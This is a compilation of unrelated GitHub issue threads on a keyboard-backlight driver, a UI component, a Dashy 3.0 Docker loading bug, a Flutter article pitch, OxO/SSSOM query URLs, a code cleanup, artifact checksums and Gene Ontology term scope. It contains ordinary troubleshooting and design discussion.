setting certain "styles", ends in no lights

when i try to set the "rainbow" or "reactive" preset styles, it doesn't do anything, and then when i try to set it to something regular like a solid color it doesn't do anything. I end up having to reboot my system to get it to work again.

what is the complete output for sudo lsusb -d 048d:ce00 -vvv

`dps@vulcan:~$ sudo lsusb -d 048d:ce00 -vvv
[sudo] password for dps:
Bus 001 Device 004: ID 048d:ce00 Integrated Technology Express, Inc.
Device Descriptor:
bLength                18
bDescriptorType         1
bcdUSB               2.00
bDeviceClass            0 (Defined at Interface level)
bDeviceSubClass         0
bDeviceProtocol         0
bMaxPacketSize0        64
idVendor           0x048d Integrated Technology Express, Inc.
idProduct          0xce00
bcdDevice            0.01
iManufacturer           1 ITE Tech. Inc.
iProduct                2 ITE Device(8291)
iSerial                 0
bNumConfigurations      1
Configuration Descriptor:
bLength                 9
bDescriptorType         2
wTotalLength           59
bNumInterfaces          2
bConfigurationValue     1
iConfiguration          0
bmAttributes         0xc0
Self Powered
MaxPower              100mA
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        0
bAlternateSetting       0
bNumEndpoints           0
bInterfaceClass         3 Human Interface Device
bInterfaceSubClass      1 Boot Interface Subclass
bInterfaceProtocol      1 Keyboard
iInterface              0
HID Device Descriptor:
bLength                 9
bDescriptorType        33
bcdHID               1.10
bCountryCode            0 Not supported
bNumDescriptors         1
bDescriptorType        34 Report
wDescriptorLength      23
Report Descriptor: (length is 23)
Item(Global): Usage Page, data= [ 0x89 0xff ] 65417
(null)
Item(Local ): Usage, data= [ 0x10 ] 16
(null)
Item(Main  ): Collection, data= [ 0x01 ] 1
Application
Item(Global): Report ID, data= [ 0x5a ] 90
Item(Local ): Usage, data= [ 0x01 ] 1
(null)
Item(Global): Logical Minimum, data= [ 0x00 ] 0
Item(Global): Logical Maximum, data= [ 0xff 0x00 ] 255
Item(Global): Report Size, data= [ 0x08 ] 8
Item(Global): Report Count, data= [ 0x10 ] 16
Item(Main  ): Feature, data= [ 0x00 ] 0
Data Array Absolute No_Wrap Linear
Preferred_State No_Null_Position Non_Volatile Bitfield
Item(Main  ): End Collection, data=none
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        1
bAlternateSetting       0
bNumEndpoints           2
bInterfaceClass         3 Human Interface Device
bInterfaceSubClass      0 No Subclass
bInterfaceProtocol      0 None
iInterface              0
HID Device Descriptor:
bLength                 9
bDescriptorType        33
bcdHID               1.10
bCountryCode            0 Not supported
bNumDescriptors         1
bDescriptorType        34 Report
wDescriptorLength      31
Report Descriptors:
** UNAVAILABLE **
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x81  EP 1 IN
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0040  1x 64 bytes
bInterval               1
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x02  EP 2 OUT
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0040  1x 64 bytes
bInterval               1
Device Status:     0x0001
Self Powered
`

`dps@vulcan:~$ sudo lsusb -d 048d:ce00 -vvv
[sudo] password for dps:
Bus 001 Device 004: ID 048d:ce00 Integrated Technology Express, Inc.
Device Descriptor:
bLength                18
bDescriptorType         1
bcdUSB               2.00
bDeviceClass            0 (Defined at Interface level)
bDeviceSubClass         0
bDeviceProtocol         0
bMaxPacketSize0        64
idVendor           0x048d Integrated Technology Express, Inc.
idProduct          0xce00
bcdDevice            0.01
iManufacturer           1 ITE Tech. Inc.
iProduct                2 ITE Device(8291)
iSerial                 0
bNumConfigurations      1
Configuration Descriptor:
bLength                 9
bDescriptorType         2
wTotalLength           59
bNumInterfaces          2
bConfigurationValue     1
iConfiguration          0
bmAttributes         0xc0
Self Powered
MaxPower              100mA
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        0
bAlternateSetting       0
bNumEndpoints           0
bInterfaceClass         3 Human Interface Device
bInterfaceSubClass      1 Boot Interface Subclass
bInterfaceProtocol      1 Keyboard
iInterface              0
HID Device Descriptor:
bLength                 9
bDescriptorType        33
bcdHID               1.10
bCountryCode            0 Not supported
bNumDescriptors         1
bDescriptorType        34 Report
wDescriptorLength      23
Report Descriptor: (length is 23)
Item(Global): Usage Page, data= [ 0x89 0xff ] 65417
(null)
Item(Local ): Usage, data= [ 0x10 ] 16
(null)
Item(Main  ): Collection, data= [ 0x01 ] 1
Application
Item(Global): Report ID, data= [ 0x5a ] 90
Item(Local ): Usage, data= [ 0x01 ] 1
(null)
Item(Global): Logical Minimum, data= [ 0x00 ] 0
Item(Global): Logical Maximum, data= [ 0xff 0x00 ] 255
Item(Global): Report Size, data= [ 0x08 ] 8
Item(Global): Report Count, data= [ 0x10 ] 16
Item(Main  ): Feature, data= [ 0x00 ] 0
Data Array Absolute No_Wrap Linear
Preferred_State No_Null_Position Non_Volatile Bitfield
Item(Main  ): End Collection, data=none
Interface Descriptor:
bLength                 9
bDescriptorType         4
bInterfaceNumber        1
bAlternateSetting       0
bNumEndpoints           2
bInterfaceClass         3 Human Interface Device
bInterfaceSubClass      0 No Subclass
bInterfaceProtocol      0 None
iInterface              0
HID Device Descriptor:
bLength                 9
bDescriptorType        33
bcdHID               1.10
bCountryCode            0 Not supported
bNumDescriptors         1
bDescriptorType        34 Report
wDescriptorLength      31
Report Descriptors:
** UNAVAILABLE **
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x81  EP 1 IN
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0040  1x 64 bytes
bInterval               1
Endpoint Descriptor:
bLength                 7
bDescriptorType         5
bEndpointAddress     0x02  EP 2 OUT
bmAttributes            3
Transfer Type            Interrupt
Synch Type               None
Usage Type               Data
wMaxPacketSize     0x0040  1x 64 bytes
bInterval               1
Device Status:     0x0001
Self Powered
`

i tried to set that in code format, but it keeps doing that for some reason

the poblem is... your device I.T.E 8291, are in revision, 0.01 and this project is only compatible with revision 0.03, check README

hmmm, i see. you know, im able to control it in the bios. there are a few settings or "styles" that i can set it to, but they dont stay after i boot into something. theyre pretty good, and im wondering if there is an "upstream" utility, or some kind of sdk that goes along with this i.t.e 8291. do you know of anything like that? maybe i could start working on support for my version..

at least everything else seems to work. like setting it to the h and v flags, and the different colors. and a couple of the styes do work too.

maybe, i was thinking... could it be that mine has a smaller eFlash than the newer revisions? i cant seem to find this specific model (8291) on their products page, but i did find the newer IT8296e version. their are two revisions for this one as well, one with 56k of flash and the other has 120k. hmm, idk.
This is actually why i came to linux: hardware. i love hardware.im studying microcontrollers and electronics right now, but im not that well versed so far. i can upload a blink sketch, and rip firmware from spi flash chips lmao.
if i can be of any help, please let me know

yeah i think i have 0.01 too

Sorry but, since i dont have ite8291 revision 0.1 in my hands i can't support It, there is no way to analyse and start a reverse enginer


IconButtonFloating: Add new component for floating actions

Summary
What changed?
A new, simplified version of IconButton, that floats on content and is used to open a Dropdown or Modal

Why?
Create consistency in the product for floating actions
Links

Jira
Figma

Checklist

[ ] Added unit and Flow Tests
[ ] Added documentation + accessibility tests
[ ] Verified accessibility: keyboard & screen reader interaction
[ ] Checked dark mode, responsiveness, and right-to-left support
[ ] Checked stakeholder feedback (e.g. Gestalt designers)

@AlbertCarreras made updates to the props, had to add a new one. Expanded and Controls only apply for Dropdowns, so can't make them required
Removed Color section
Tried wrapping in TapArea - it still gives the halo issue, and then also compresses the button too much (since scale transforms compound). So for now I think leaving as-is is best, and then if there are any issues while building out examples, I'll make adjustments


[BUG] Dashy 3.0.0 not loading despite complete build

Environment
Self-Hosted (Docker)
System
Docker 26.0.0 (Portainer 2.19.4)
Version
3.0.0
Describe the problem
Thank you for the new and promising update to 3.0.0. But it seems, I have some trouble to get it to work:

I changed the port from 80 to 8080 and the volume from /app/public to /app/user-data
I pulled the new image and started the container
The state of the container is healthy
The logs seem to be fine too ("Config file is valid, no issues found"; "Using Dashy V-3.0.0. Update Check Complete"; "Build complete. The dist directory is ready to be deployed."). The only thing, that I'm not sure, if this is OK: the last line in the logs is "Check out deployment instructions at https://cli.vuejs.org/guide/deployment.html"
When I try to open the service in the browser, it shows "Loading" for some seconds and then presents me with a message "It looks like something's gone wrong... This is likely caused by the app source not being found at the current domain. If you need additional support, check the browser console then raise a ticket"

Additional info
I attached the screenshot with the error message, the full logs and my docker compose instructions.

_dashy_logs.txt
dashy_docker_compose.txt
Please tick the boxes

[X] You have explained the issue clearly, and included all relevant info
[X] You are using a supported version of Dashy
[X] You've checked that this issue hasn't already been raised
[X] You've checked the docs and troubleshooting guide
[X] You agree to the code of conduct

Can you paste the browser console output?

Hi Tobias, thanks for looking at the issue. Here is the browser console output just logged after entering the url. It doesn't change when the error message appears. So probably no client-side problem.
[ContentMain]
ContentMain.js:5 [ContentService] document.readyState: loading
ContentMain.js:5 [ContentService.SetContentInitData] target: { TabId: 662559308, FrameId: 0}

I have a similar issue, except dashy appears to not be starting properly at all; it is listening on the proper port but nothing comes up in the browser. Logs look OK, but it shows as "starting" in portainer even after a couple of minutes.
I had this working before (I assume) some update, no changes to my pretty normal config, but I can attach that if needed.
Logs end with:
  dist/css/chunk-73f090a0.0e433876.css      0.00 KiB         0.02 KiB
  Images and other types of assets omitted.
 DONE  Build complete. The dist directory is ready to be deployed.
 INFO  Check out deployment instructions at https://cli.vuejs.org/guide/deployment.html

port open?:
12:01:56 root@Docker:~# lsof -i:4080
COMMAND   PID USER   FD   TYPE   DEVICE SIZE/OFF NODE NAME
docker-pr 517 root    4u  IPv4 25444187      0t0  TCP *:4080 (LISTEN)
docker-pr 527 root    4u  IPv6 25445802      0t0  TCP *:4080 (LISTEN)

PS:
12:01:21 root@Docker:~# ps auxwww|egrep "517|527"|grep -v grep
root         517  0.0  0.0 1598404 2560 ?        Sl   11:55   0:00 /usr/bin/docker-proxy -proto tcp -host-ip <IP_ADDRESS> -host-port 4080 -container-ip <IP_ADDRESS> -container-port 80
root         527  0.0  0.0 1819600 2816 ?        Sl   11:55   0:00 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 4080 -container-ip <IP_ADDRESS> -container-port 80

How long have you waited after the error message appeared, sometimes refreshing the page also resolved the issue.

I have waited several minutes, I did refresh (F5) and I tried in Chrome (Guest Mode) and MS Edge

I changed my config to look like yours (with my paths) and had no issues with the 3.0 changes, loaded fine. I did need to map /app/public/ inside the container to get the icons to show up properly; possibly they would work inside user-data/ also.
My volumes line:
    volumes:
#     - /opt/dashy/user-data/conf.yml:/app/user-data/conf.yml
     - /opt/dashy/user-data/:/app/user-data/
     - /opt/dashy/public/:/app/public/

On a side note, man, dashy takes a crazy long time to start up. My relatively simple dashboard takes 55 seconds! I'm not running a rPi either, it's a 7500T mini-desktop with tons of RAM and free CPU.
2024-04-20T16:58:21.719069075Z  DONE  Compiled successfully in 54820ms4:58:21 PM

@rodalpho Thank you for your time to add a solution, that worked for you. Sadly it doesn't work for me. I did now map the two volumes, but it didn't change anything with my problem.
volumes:       - /dockerdata-fast/config/homepage/dashy_public_dir:/app/user-data       - /dockerdata-fast/config/homepage/dashy_public_dir:/app/public
By the way, this is the content of my dashy_public_dir folder:

A question about your logs: is the last line of your log also "Check out deployment instructions at https://cli.vuejs.org/guide/deployment.html" or is it something else?

Hey @allesauseinerhand
Sorry you're having issues. It looks like your config isn't being passed to Docker correctly - If you visit [dashy-url]/conf.yml what you you see?
Maybe the issue is because initially the paths were wrong, and so the initial (and only) build happened without a config. In which case, starting fresh should resolve it.

Thanks @rodalpho

. I did need to map /app/public/ inside the container to get the icons to show up properly; possibly they would work inside user-data/ also. User-data/ needs the conf.yml file, and public/ needs fonts/, img/, item-icons/, etc.

Both /public and /user-data basically resolve to the same place. So you shouldn't need to pass both in, just put all your customized assets into user-data

The docs on the 3.0 upgrade aren't... great so this took a couple mins to figure out properly

Sorry about that (I'm not great at writing docs!), if you have suggestions about how I can make this clearer, I will update them :)

@allesauseinerhand Yes my logs end with that line.
@Lissy93 No problem, not intending to criticize! I would note the expected file and directory structure for /app/user-data/, that's what had me stalled for a minute. IE, "It should contain conf.yml as well as the fonts, img, item-icons, etc directories".

@Lissy93  Moving all the files I had in /app/public to /app/user-data broke dashy, and the app made its own public directory somehow. So I'm reverting that.

Hey @allesauseinerhand Sorry you're having issues. It looks like your config isn't being passed to Docker correctly - If you visit [dashy-url]/conf.yml what you you see?

Hi @Lissy93 : Thanks for helping me with this. When I load this url, the conf.yml-file is showed in the browser as it probably should be.
But I supposed to found the reason, why it didn't work initially, which could help others with the same problem too: I use simple auth in the conf.yml:
appConfig:
  auth:
    users:
      - user: USERNAMECHANGED
        hash: HASHCHANGED
        type: admin
    enableGuestAccess: false

I now tried to enter [dashy_url]/login and then I see my dashboard. When I then enter again [dashy_url] the error is there again. So, next I went again to [dashy_url]/login, then logged out, logged in again. But even then, when I open [dashy_url], the same error comes up again. Next, I tried to delete the above auth-section in the config. But even then it doesn't work. I've at least now a workaround (entering [dashy_url]/login instead of [dashy_url]. But do you have any idea, what could be the reason for this strange behaviour?

So two breaking changes on the docker image (2.1.2 -> 3.0.0) that it'd be great to have an in-built work around for, better start-up messaging around, or better documentation around these changes.
Thanks for all the work on this!
port 80 became port 8080
/app/public/conf.yml became /app/user-data/conf.yml
$ git diff services/dashy.yml
diff --git a/ansible/docker/services/dashy.yml b/ansible/docker/services/dashy.yml
index fe8f7ca..8195054 100644
--- a/ansible/docker/services/dashy.yml
+++ b/ansible/docker/services/dashy.yml
@@ -23,7 +23,8 @@
         state: started
         restart_policy: unless-stopped
         ports:
-          - '8989:80'
+          - '8989:8080'
         volumes:
-          - /root/data/dashy/config/conf.yml:/app/public/conf.yml
+          - /root/data/dashy/config/conf.yml:/app/user-data/conf.yml
           - /root/data/dashy/item-icons/:/app/public/item-icons/
+       # 2.1.2 and earlier was port 80 and conf.yml in /app/public, 3.0.0 it became 8080 and /app/user-data/conf.yml

@tdeppner
It has been documented here:
https://github.com/Lissy93/dashy/discussions/1537
https://github.com/Lissy93/dashy/discussions/1529
And with a note on the main readme:

Let us know if we should add any guide anywhere else.

So two breaking changes on the docker image (2.1.2 -> 3.0.0) that it'd be great to have an in-built work around for, better start-up messaging around, or better documentation around these changes.

I would have loved to be able to implement an automatic workaround for this, but it's unfortunately not possible.

No problem, not intending to criticize! I would note the expected file and directory structure for /app/user-data/, that's what had me stalled for a minute. IE, "It should contain conf.yml as well as the fonts, img, item-icons, etc directories".

Thanks for the feedback @rodalpho. Here are clearer docs, outlining structure of the user-data directory. Not merged yet, but will be included soon when I finish #1542

Just to check, is anyone still having issues getting 3.0.0 running?

I would have loved to be able to implement an automatic workaround for this, but it's unfortunately not possible.

Understood. Maybe a WARN message on docker start up if /app/public/conf.yml exists that might ask if this was intended, reference this bug, encourage folks the "new" location is /app/user-data, etc?

Just to check, is anyone still having issues getting 3.0.0 running?

It's fine for me, no concerns.
Thank you for a great product, and quick support. :)

Understood. Maybe a WARN message on docker start up if /app/public/conf.yml exists that might ask if this was intended, reference this bug, encourage folks the "new" location is /app/user-data, etc?

Thanks @tdeppner - good feedback, I've implemented a build-time check in Docker that displays a lil message if there's a config issue, and for client-side issues I've made an update which will show exactly what the problem is. Both will be included when I merge #1542 later this week.

I'm going to close this ticket now, but if anyone is still having issues here, let me know below and I'll reopen.

Hi Alicia
Probably my previous message about the workaround was misleading, as you thought the problem is solved now. But it is still not working the normal way: When I go to [dashy_url] I still see the same error message as I showed in the first post of this thread. Only going to [dashy_url]/login leads me to the dashboard. Do you have any idea, what the reason could be or what information I should provide to find the rootcause of the problem?

Hi to everybody.
I got the exact same problem while opening Dashy without "/login". But there are two differences in my configs, I set "enableGuestAccess" to "true" and I enabled ssl with self-signed certificates, passing the 443 Port to Docker. With the "/login" link, i get to the Login page without a problem. Then I can open my Dashboard by entering my admin login data or by following the link to visit my Dashboard as a guest. Both a doing fine there, but I can`t open it with the normal "dashy-IP:port".

Same issue here after upgrading my installation from v2 to v3.
I'm not doing any authenication in Dashy at all.  (Using Caddy)

[!TIP]
I Can confirm the workaround with https://<url.to.my.dashy.instance>/login is working.

Issuse persists after completely trashing the existing container and image and recreating it from scratch to make sure everything is fully rebuilt from scratch. Hence I assume it's unrelated to upgrading from v2.
Unrelated to this issue, just a data point:
Starting the container takes several minutes and grabs 3+ vCores and over 4GB in the process during application build. About 10 Minutes after start it settles around 2.5GB RAM usage with little CPU usage when idle.

Has anyone got any browser logs of this issue? As I'm struggling to recreate it
I mean client-side logs, not server-side logs-  here's how to view browser logs.

So I've just spun up a test vm with the default config, except I added basic auth.
When guest-acces is false, I get straight redirected to http://ip/login
When guest-acces is true I get straight to the dashboard
RAM enableGuestAccess: trueusage for me was 1.5GB with 4.5GB assigned.
CPU was 40% at max with 2 cores
So for me everything is working fine.

Try again now, I've pushed some updates in 3.0.1, everything should be resolved. If not, share the content of your browser logs, so I can debug further.

I am still required to go to /login else I have the generic loading page with 3.0.1
I have a screenshot of my console when I load the page here

I have a screenshot of my console when I load the page here

Could you copy+paste them?
I cannot seem to open that image.

I also have to add the /login to get the gui to load. Doesn't show much in the console:

But when I add /login then it shows error 404 and then loads the page.

I have a screenshot of my console when I load the page here

Could you copy+paste them? I cannot seem to open that image.

I used a screen shot to show that my console is blank of everything but a favcon.ico loading error.

@HakanP - this looks like a config issue. Could you share your config file?
@Kirkland-gh - This does look like a bug, but I'm not able to recreate it just yet, could you also share the relevant parts of your config so I can try with that?

  auth:
    enableGuestAccess: false
    users: []
    enableKeycloak: true
    keycloak:
      serverUrl: https://keycloak.example.com
      realm: example-realm
      clientId: example-clientid
      legacySupport: false
      ```

Has anyone got any browser logs of this issue? As I'm struggling to recreate it I mean client-side logs, not server-side logs- here's how to view browser logs.

Attached are two logs: index.log for when visiting url (showing error screen), login.log for when visiting url/login (showing login screen). And also I attached my docker compose file and my dashy conf (shortened and masked)
index.log
login.log
docker-conf.txt
dashy_conf.txt

I have encountered the same issue with my Dashy. Attached is my config with sections removed/masked. Auth is not enabled.

Opening the dashboard directly (without /login) gives no logs whatsoever in the browser console, it's stuck at the main splash screen (and after a while the error message from the OP appears).
Accessing /login opens the dashboard properly (but doesn't fix the issue - it happens again when you refresh the page). Attached browser logs from this access (masked a bit).
Accessing /<anything that 404s> also allows access to the dashboard, with the difference that you have to click "Go back" on the 404 screen.

One thing I've noticed is that curl'ing the broken Dashy gives a broken index.html. It seems in my case the Dashy app is not being injected at all on the main / route (other than the timeout handler). On /login, I can see that the scripts/css are injected properly. Broken index.html attached.
A locally deployed, freshly pulled image of Dashy does not exhibit this behavior; that is, curling both / and /login returns the same document (with Dashy scripts present).
I can do further testing with the broken setup if required.
conf.txt
browser_logs_login.txt
broken_index.html.txt

Hello, I seem to be facing the same issue, I've tried incognito and opening the URL with /login does indeed bring up the dashboard which leads me to believe it's the same bug however I see a different output in my console log, this extra information may be useful. I am using Windows 10 Pro

Is there allready any update on this issue? Don't want to hurry anybody, just a question out of interest.

Try again now, I've pushed some updates in 3.0.1, everything should be resolved. If not, share the content of your browser logs, so I can debug further.

Relevant section of the Caddyfile
launch.maclemon.at
{
  basicauth /* {
    rick <passphrase>
  }
  reverse_proxy dashy:8080
}

Hope this helps making the issue more easily reproducible.
Workaround with appending /login still works in 3.0.1.

Still the same problem in V3.1.1. Workaround with /login still works.

Is this a big issue? Is it being worked on?

Still the same problem in V3.1.1. Workaround with /login still works.

didn't work for me. multiple fresh installs, no luck

@iluvatyr Nope noone is working on, dashy is severly behind and the maintainer offline since quite some time. I switched to an alternative, can suggest homarr, they are right before their V1 release, it's really awesome!


Localization in Flutter with a BuildContext extension

Topic Suggestion
Localization in Flutter with a BuildContext extension
Proposed article introduction
If you want to make your Flutter app available to people all over the world, you'll have to make it so that it can speak different languages at some point. The good news is that Flutter already comes with useful APIs that make this task easier, as well as detailed documentation that explains how to do it in more depth.  This means that we can use the new skeleton app template that comes with ARB files already set up, so we don't have to set everything up by hand.
In this post, we'll look at the skeleton app template and make some changes. The end result will be a simple app template that uses a BuildContext extension to make it easy to find localized strings in our widgets.
Key takeaways

Accessing AppLocalizations
BuildContext extension
Skeleton App Template

Article quality
We'll look at the skeleton app template and make some changes to. The end result will be a simple app template that uses a BuildContext extension to make it easy to find localized strings in our widgets. The code snippets will be simple and easy to grasp.
Templates to use as guides

How To Guide Template
Software Review Template
Tutorial Template

Good afternoon and thank you for submitting your topic to the EngEd program.
After some careful consideration it struck us that this topic may be a bit over saturated throughout other blog sites and official documentations. We typically refrain from publishing content that is covered widely on the net or other blogs. We're more interested in original, practitioner-focused content that takes a deeper dive into programming-centric concepts.
But in order to approve the topic it has to serve value to the larger developer community at large. Please feel free to suggest an alternate topic to explore. 🚀
https://www.google.com/search?q=Localization+in+Flutter+with+a+BuildContext+extension&rlz=1C1CHBF_enUS891US891&sourceid=chrome&ie=UTF-8


Any combination of sssom metadata elements should be usable as URI parameters

In the old OXO you could do
https://www.ebi.ac.uk/spot/oxo/mappings?fromId=DOID:162&toId=SNOMEDCT:269513004
We need to be able to do the same, with any sssom element valid, ie
https://www.ebi.ac.uk/spot/oxos/mappings?subject_id=DOID:162&object_id=SNOMEDCT:269513004
https://www.ebi.ac.uk/spot/oxos/mappings?subject_id=DOID:162&object_id=SNOMEDCT:269513004&mapping_source=obo:mondo

(PS: all pages (search results, mappings, etc) in oxo should have a URI pointing to it)

@matentzn Is this the same as the "entity" page? https://github.com/EBISPOT/oxo2/issues/36
In the old OxO, this is the way they call the API, in the new OxO with SSSOM, this will need to change the SSSOM API (again and again!)

All these choices to have a sharable URL depend entirely on the SSSOM API.

This here is more about the mappings, i.e. the search results for a given search + facets subsetting. The #36 is more about a page about a single entity, like "HPO:123". But the main message is: all pages, regardless of where they are should depend on SSSOM API and have all query parameter part of the sharable URL.

Ok, need to rebuild the entire SSSOM API for this.

Yes, your request is not that simple.


unnecessary line of Code IMO

Since your Controller calls the "command.doStep" method already, you can remove the same line in the UndoManager. It doesnt do anthying anyways.
Util.UndoManager : Line 14 : command.doStep( game )

fixed


Add checksum verification to artifacts and loaders

In preparation for the string representation of artifacts that can be saved to other places while keeping reproducibility.
Missing pieces:

[ ] Tests
[ ] Artifact.to_json()/to_dict() hook in preparation for transforms.

Question (cc @maxmynter): Why is the artifact loader tied to a specific path? It seems fairly restrictive, without any way to switch out the path , and load() not taking the path as an argument, either.
Are there any design hurdles to making path (and now optionally checksum) part of the Loader.load() API?
Bonus: Does it make sense to pass a loader to the runner.run() (or the BenchmarkRunner itself) that is given to each artifact passed in params by default?

Superseded by #120.


GO term specificity proposal 4 gene product specific function terms

example kinases:
GO:0033868  Goodpasture-antigen-binding protein kinase activity
GO:0004711  ribosomal protein S6 kinase activity
GO:0008384  IkappaB kinase activity
GO:0004687  myosin light chain kinase activity
GO:0004694  eukaryotic translation initiation factor 2alpha kinase activity
GO:0004697  protein kinase C activity
example kinase activator
GO:0016534 cyclin-dependent protein kinase 5 activator activity
example phosphatase
GO:0050115 myosin-light-chain-phosphatase activity
I realise some groups depend on some gene product specific terms (particularly for actins and histones) where the organisms of the substrate is not completely known is another species. However, maybe we should have a "mixed organism evidence code" to reflect this.
Possibly if you really don't know which actin, (actins have many roles, some actin-like proteins are transcription factors). If you can't be sure which actin, is the annotation even so useful?
For others (like ribosomal S6 kinase) the organism paralogs are so identical, if you can use an S6 protein or antibody from another species, you can probably infer that the kinase is specific for all of your S6's is valid (otherwise your original S6 kinase annotation is unsound).
@pgaudet @thomaspd @dosumis

Overall, I support this.
wrt the mixed organism evidence: IMO, while there may be cases where mixed organism is part of a multi-organism process, in other cases we should remember that we are capturing an inference about the normal function of the protein. Thus, if a publication uses chicken histones to assay a human histone acetylase, we are inferring acetylation of the human ortholog.
I recall discussing this in terms of the difference between the with/from field and the annotation extension field when looking at protein binding.

From internal discussion, consolidating here:
"I'm having trouble with this one. It seems to require inference form the curator and knowledge that for example S6s are almost identical across species. As I don't think our role is to support inference form experts only, I would prefer to keep the fine-grained distinction in the ontology. But I may be misunderstanding what is being talked about." - mcourtot

There are two options:

If some of these substrates for a general in vitro kinase assay they probably shouldn't be used to infer  physiological substrate.
OR
If you are convinced that ribosome S6 in your species is the physiological target of the kinase, then  the target would be any/all of the ribosomal S6's? because the antibody in question will be specific for all of them?

Actually the S6 kinase one isn't a big deal to fix the annotations.
There are only  12 EXP annotations to 7 proteins . One is PomBase, I can easily fix that one.
That leaves 6 to fix. 1 MGD,  3 rat, 2 flybase.
I believe this just a historical term that was imported into GO  very early on from the EC numbers. It wouldn't be added today. Its easier for us to add extensions and then merge/obsolete the term than  to dicuss ;)

We had already captured the targets for pombe in AE. We added both S6's.
Curator noted "In vitro assay using rps602 so I am inferring rps601" (these are 99% identical and all P sites conserved so I think this is safe 237/239 AAs conserved). I think the general assumption is that  this kinase would phosphorylate all S6's. Similar to the situation with histones which are also 99-100% identical, and a couple of elongation factors. I don't think it would be safe  to do this  for anything else though.....

Even easier than I thought- for human mouse rat and fly  there is only a single copy of S6  so there is only a single option for the target gene. In general, ribosomal proteins are often duplicated but the paralogs are not diverged, they are either identical or almost identical.

" Its easier for us to add extensions and then merge/obsolete the term than to dicuss ;)"
What are the proposed merges?  All into 'protein kinase activity'?

Yep. At least up to the non gene product specific parent. If we were to implement this one people would need time to recapture targets (so maybe it would be useful to have a list of annotations per database).
This is a good example why having the existing terms hang around isn't great:
https://github.com/geneontology/go-ontology/issues/12440#issuecomment-217206490
We are also finding that community curation users request gene product specific terms, because they already exist. It also isn't clear to general end users why some things have a  product specific term, and some don't. It doesn't help users to understand GO.

Oh, so that list of terms you put is not exhaustive.  Would need a complete list,  do work in stages.

Given how generally important some of these activities are in signalling and control of key cell-biological processes ( 'GO:0004697 protein kinase C activity' !), I think a wider discussion within GO is merited before obsoleting or merging - at least for some cases.

Hi Tanya,
If I recall correctly, you and I were never happy with the 'gene specific' terms in the ontology. I think long ago we said we would keep these terms because they were useful for people who didn't have a way to record the detailed information in any other way? Do we want to give people a heads-up that they should make the structured annotations because these terms will be merged at a certain time? Or perhaps we could just automatically 'reannotate' the exisiting annotations by unfolding them before the merge.
-D

Hi
sorry I haven't been following this. Some of these terms may refer to protein complex functions rather than single protein functions. I would appreciate knowing that this discussion had been taken to the GOC rather than rushed through
Thanks
Ruth

There will be no rushing and certainly no action will be taken without consulting on a larger scale.

Need to look at the ST branch carefully before getting rid of some of these.  There are unformalised terms hanging around there that could probably only be formalised with reference to some of these gene-family specific activities.
e.g.

It isn't being rushed through Ruth, its a proposal. Sorry I thought I had tagged you in this one (I know you are interested in this).
I think it would be useful to  get rid of terms which refer to specific gene products with no annotations in the first instance,  and then subsequently (in stages) any that can be captured with targets (to give people time to add the extensions, which would be quick because you should not need to go back to the papers.....).
Lots of kinases are important in signalling and don't have a specific GO term (polo/wee1/aurora/NDR kinases). If this proposal were accepted, I  would also recommend the same fate for MAPK/K/K/K kinases. That said, protein kinase C,  is probably actually OK, because it has a differentia- its DAG dependent (a good reason to keep it).
My objections are multiple, but what we do is inconsistent, which is confusing for end users, and as a grouping term the flavours  MAP kinases (for example) don't tell you  anything biologically relevant other than 'signalling' or "MAP K cascade" because they all regulate different processes.  They  therefore aren't useful for enrichment purposes. If accepted this would make the scope of GO clearer (its difficult to  explain the scope of GO to new curators and to users  that we don't have gene product specific activities, when we do).
"protein kinase" part of  x signalling   OR part of "regulation of process x" is more relevant but this critical part sometimes gets overlooked in the annotation because of all the possible options.
This group of tickets was really just  aimed to get a discussion  of the focus of the scope  and ways in which we can improve annotation consistency without losing the critical biological information which is within the scope of GO. None of the tickets are exhaustive in the terms suggested, they are just examples. Some of these terms are really, really old, and came from the original import and we should question whether our fondness for them is sometimes due to familiarity with the  gene products rather than their valid place in GO.

@ukemi said: " Or perhaps we could just automatically 'reannotate' the exisiting annotations by unfolding them before the merge."
Now that sounds like a great idea.  If we do decide to merge some terms, we could offer the unfolded annots back to the DBs to shorten the reannotation process.

Oh, so that list of terms you put is not exhaustive. Would need a complete list, do work in stages.

Yes. If it did not happen immediately we could flag things in some way,  or have a list on a wiki.
There could be  a procedure:
i) if no EXP annotations -> merge
ii) If EXP annotations and only one possible target per organism, or the assumption is that the molecules are identical (in the S6 case) automatically unfold (nice idea!)
ii) if targets are ambiguous we need to do something cleverer.
If a specific gene product   has an annotation for example:
GO:0008384 myosin light chain kinase activity has_target (some myosin light chain kinase)
then the argument for keeping the GP-term for the reason that you did not know which specific  molecule was assayed in the publication ( for e.g multi species in vitro EXP)  becomes moot, because the information about the target is already present.
It could happen over a number of years....its just nicer in the long term  if there is a consistent way to do things without having to say " if it's this you do this, but if if its this you do this".
(It will also help to build LEGO models  automatically if we have the IDs of the targets in the extensions)

@pgaudet  you might like to roll this one in with your gene product specific list.
val

GO:0033868 Goodpasture-antigen-binding protein kinase activity -> no EXP annotations -> will propose to obsolete - (since EC  mapping: EC:<IP_ADDRESS> )
GO:0016534 cyclin-dependent protein kinase 5 activator activity 5 EXP
GO:0004711 ribosomal protein S6 kinase activity 12 EXP
GO:0008384 IkappaB kinase activity 6 EXP

@ValWood @hdrabkin
Looks like the history of those is that we entered the ones that have EC numbers:
https://enzyme.expasy.org/EC/2.7.11.-
however that's only 33 protein kinases. Isn't that odd?
I can go ahead with the obsoletion of unused terms, but I would prefer a clearer way to deal with those.
Pascale

If we are planning to obsolete terms that are "unused" in general, then this strategy impacts various projects.
Example see projects to add 'missing' EC to GO #13432
Metacyc /plant enzyme project (which btw is almost finished) #10873

@hdrabkin  I don't think this is related to a general proposal for  "unused" terms it's just the fact that these are gene product specific terms. Being unused just makes them easier to deal with.
